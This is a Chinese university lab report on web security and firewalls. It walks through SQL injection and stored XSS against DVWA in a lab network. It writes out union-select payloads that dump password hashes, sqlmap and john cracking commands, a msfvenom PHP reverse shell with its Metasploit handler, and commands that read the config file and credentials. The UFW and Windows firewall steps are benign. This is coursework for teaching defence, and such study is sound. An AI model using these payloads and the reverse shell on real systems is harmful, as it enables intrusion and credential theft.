# 实验报告模板

华南理工大学

《网络攻防原理与技术》课程实验报告

实验题目： web应用安全与防火墙

|  |
| --- |
| **实验概述** |
| 【实验目的及要求】  实验目的：  掌握SQL注入攻击和XSS攻击  掌握在Windows操作系统中配置防火墙  掌握通过UFW配置防火墙  实验要求：  独立完成  【实验环境】  操作系统：metasploit2 ，kali |
| **实验内容** |
| 【实验方案设计】   1. SQL注入攻击 2. XSS攻击 3. Windows防火墙配置 4. Linux防火墙配置     【实验过程】（实验步骤、记录、数据、分析）  实验内容一：SQL注入攻击   1. 查看metasploitable 2的IP地址为192.168.56.102   屏幕快照 2018-11-09 下午3.21.30  2.主机访问http://192.168.56.102/dvwa/security.php，设置安全级别为low  屏幕快照 2018-11-09 下午3.29.25  3.输入1  屏幕快照 2018-11-09 下午3.22.59   1. 输入 1’ and ‘1’=’1   屏幕快照 2018-11-09 下午3.27.54   1. 输入1’ and ‘1’=’2   屏幕快照 2018-11-09 下午3.39.27   1. 输入%’ or ‘1’=’1   屏幕快照 2018-11-09 下午3.39.46   1. 输入%' union select null, version() #   屏幕快照 2018-11-09 下午3.42.42   1. 输入%' union select null, user() #   屏幕快照 2018-11-09 下午3.43.44   1. 输入%' union select null, database() #   屏幕快照 2018-11-09 下午3.44.23   1. 输入%' union select null, table\_name from information\_schema.tables #   屏幕快照 2018-11-09 下午3.46.14   1. 输入%' union select null, table\_name from information\_schema.tables where table\_name like 'user%' #   屏幕快照 2018-11-09 下午3.46.56   1. 输入%' union select null, concat(first\_name,0x0a,last\_name,0x0a,user,0x0a,password) from users #   屏幕快照 2018-11-09 下午3.51.21   1. 将得到的用户信息拷贝到kali，输入john -format=raw-MD5 dvwa\_password.txt破解口令文件   屏幕快照 2018-11-09 下午4.00.01   1. 退出DVMA重新登录，安全级别设置为中级，查看cookie，在matesploitable2中输入sqlmap -u "http://192.168.56.102/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=medium;PHPSESSID=a28b457624412ceb3a5824454ff4a615"检测是否可注入。在后面加--dbs抓取数据库信息   屏幕快照 2018-11-09 下午4.19.28   1. 输入 sqlmap -u "http://192.168.56.102/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=medium;PHPSESSID=a28b457624412ceb3a5824454ff4a615" -D dvwa --tables查看表   屏幕快照 2018-11-09 下午4.20.20   1. 输入 sqlmap -u "http://192.168.56.102/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=medium;PHPSESSID=a28b457624412ceb3a5824454ff4a615" -D dvwa -T users --dump-all抓取用户信息   屏幕快照 2018-11-09 下午4.21.41  实验内容二：XSS攻击   1. 重新登录DVWA，将安全级别设为low，setup重置数据库，XSS store中输入   屏幕快照 2018-11-09 下午4.35.05屏幕快照 2018-11-09 下午4.33.43   1. setup重置数据库，重新在XSS store中输入   屏幕快照 2018-11-09 下午4.37.53   1. setup重置数据库，重新在XSS store中输入   屏幕快照 2018-11-09 下午4.39.19  屏幕快照 2018-11-09 下午4.39.10  4.在kali中输入msfvenom -p php/meterpreter/reverse\_tcp LHOST=192.168.56.102 LPORT=4444 -f raw > xss.php（kali的ip为192.168.56.102 ）  屏幕快照 2018-11-09 下午4.58.36  5.修改xss.php文件  屏幕快照 2018-11-18 上午12.46.18  6.输入 msfconsole -x "use exploit/multi/handler; set payload php/meterpreter/reverse\_tcp; set LHOST 192.168.56.102; set LPORT 4444; run"  屏幕快照 2018-11-18 上午1.03.22   1. 在DVWA中上传xss.php文件   屏幕快照 2018-11-09 下午5.09.06  8.重置数据库:选择“Setup”，点击“Create / Reset Database，选择“XSS Stored”  Name:Test-4  Message:<script>window.location="http://192.168.56.101/dvwa/hackable/uploads/xss.php"</script>  屏幕快照 2018-11-18 上午1.30.33  9.建立连接屏幕快照 2018-11-18 上午12.41.05屏幕快照 2018-11-18 上午12.42.28  10321542723840_.pic_hd  10.输入whomai  grep www-data /etc/passwd   1. 输入find /var/www/\* -print | grep config |grep   grep "db\_" /var/www/dvwa/config/config.inc.php  10331542723846_.pic_hd   1. 输入echo "use dvwa; show tables;" | mysql -uroot   echo "use dvwa; desc users;" | mysql -uroot  echo "select user,password from dvwa.users;" | mysql -uroot  10341542723853_.pic_hd  10351542723859_.pic_hd  实验内容三：Windows防火墙   1. 打开防火墙   屏幕快照 2018-11-09 下午5.38.14   1. 输入ipconfig查看ip地址为192.168.56.104 2. 在kali中ping192.168.56.104，ping不通 3. 防火墙配置   屏幕快照 2018-11-09 下午5.47.41屏幕快照 2018-11-09 下午5.48.06屏幕快照 2018-11-09 下午5.49.01屏幕快照 2018-11-09 下午5.49.37屏幕快照 2018-11-09 下午5.50.15屏幕快照 2018-11-09 下午5.50.34屏幕快照 2018-11-09 下午5.50.52  屏幕快照 2018-11-09 下午5.51.21   1. 再次ping 192.168.56.104，已经可以ping通   屏幕快照 2018-11-09 下午5.52.13  实验内容四：Linux防火墙   1. 在kali中安装UFW   屏幕快照 2018-11-09 下午6.04.37   1. 检查UFW状态和规则屏幕快照 2018-11-09 下午6.04.50   屏幕快照 2018-11-09 下午6.05.01   1. 添加规则   屏幕快照 2018-11-09 下午6.05.54  屏幕快照 2018-11-09 下午6.09.53   1. 使用三种方式删除规则（http）   屏幕快照 2018-11-09 下午6.11.38  屏幕快照 2018-11-09 下午6.13.44  屏幕快照 2018-11-09 下午6.14.20   1. 规则重置   屏幕快照 2018-11-09 下午6.15.39   1. 禁用ufw   屏幕快照 2018-11-09 下午6.16.44   1. Block an IP Address   输入 ufw deny from ip地址  屏幕快照 2018-11-09 下午6.27.55  屏幕快照 2018-11-09 下午6.27.45   1. Block Connections to a Network Interface   输入 ufw deny in on eth0  屏幕快照 2018-11-09 下午8.06.34  9.Allow SSH  输入 ufw allow ssh  屏幕快照 2018-11-09 下午7.53.57   1. Allow Incoming SSH from Specific IP Address or Subnet   输入：  ufw allow from 192.168.56.104 to any port 22允许特定ip  ufw allow from 192.168.56.0/24 to any port 22允许子网  屏幕快照 2018-11-09 下午8.08.30   1. Allow All Incoming HTTP   输入ufw allow in http  12.Allow All Incoming HTTPS  输入ufw allow in https  屏幕快照 2018-11-09 下午7.56.13   1. Allow All Incoming HTTP and HTTPS（HTTP端口号为80，HTTPS端口号为443）   输入：ufw allow proto tcp from any to any port 80,443  屏幕快照 2018-11-09 下午8.12.27   1. Allow MySQL from Specific IP Address or Subnet（MySQL端口号为3306）   输入：  ufw allow from 15.15.15.0 to any port 3306 允许特定ip  ufw allow from 15.15.15.0/24 to any port 3306 允许子网  屏幕快照 2018-11-09 下午8.13.52   1. Allow MySQL to Specific Network Interface   输入：ufw allow in on eth0 to any port 3306  屏幕快照 2018-11-09 下午8.16.20  16.Block Outgoing SMTP Mail  输入 ufw deny out 25  屏幕快照 2018-11-09 下午8.17.52  17.Allow All Incoming SMTP, IMAP,IMAPS,POP3,POP3S9.（端口号分别为25，143，993，110，995）  输入：ufw allow proto tcp from any to any port 25,143,993,110,995  屏幕快照 2018-11-09 下午8.21.44  【结论】 |
|  |
| **小结** |
| 通过本次实验，我掌握了SQL注入攻击和XSS攻击，知道了如何在Windows操作系统中配置防火墙，也学会了通过UFW配置防火墙，对于网络攻击和安全防护有了更加深刻的认知。 |
| **指导教师评语及成绩** |
| 评语：  成绩：           指导教师签名：                                                 批阅日期： |